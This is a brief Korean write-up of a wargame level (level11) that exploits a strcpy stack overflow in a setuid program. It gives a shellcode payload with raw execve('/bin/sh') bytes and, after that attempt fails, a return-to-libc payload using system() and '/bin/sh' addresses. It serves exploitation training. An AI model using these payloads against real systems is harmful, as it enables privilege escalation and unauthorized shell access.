setuid 함수는 있지만 /bin/sh 실행시키는 코드는 없다. 따라서 /bin/sh -> shellcode를 넣어야 겠다.
[그림 1-2] 참조하면 [그림 1-3] 그릴 수 있다. 코드에서 strcpy 함수를 사용하므로 bof 할 떄 제한이 없다.
따라서 payload 는 256 + 8 + 4 + shellcode 위치 + shellcode 해보자
우선 shellcode 위치를 찾자
level11 문제는 프로그램 실행시 인자값(argv[1])이 필요하므로 인자값은 [그림 1-4] 처럼 하면된다.
0x43434343 위치가 shellcode 삽입되는 곳이다. 따라서 shellcode 위치는 0xbfffdab0 이다.
shellcode는 구글링해서 가져오자
완성된 payload는 "A"*268 + 0xbfffdab0 + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80" 이다.
실패했다..
[그림 1-6] payload를 gdb 에서 확인해보자
payload 값은 제대로 들어가는데 shellcode 위치가 바껴있다. 따라서 ASLR 걸려있는거 같다...
shellcode 위치 직접 넣을 수 없으므로 RTL 방법으로 해보자
/bin/sh 문자열은 위 소스코드를 컴파일 후 실행시키면 출력된다.
변수 shell 위치에는 system 함수 주소값이 와야한다.
따라서 payload 는 "A"*268 + 0x4203f2c0 + dummy[4] + 0x42127ea4 이다.
성공!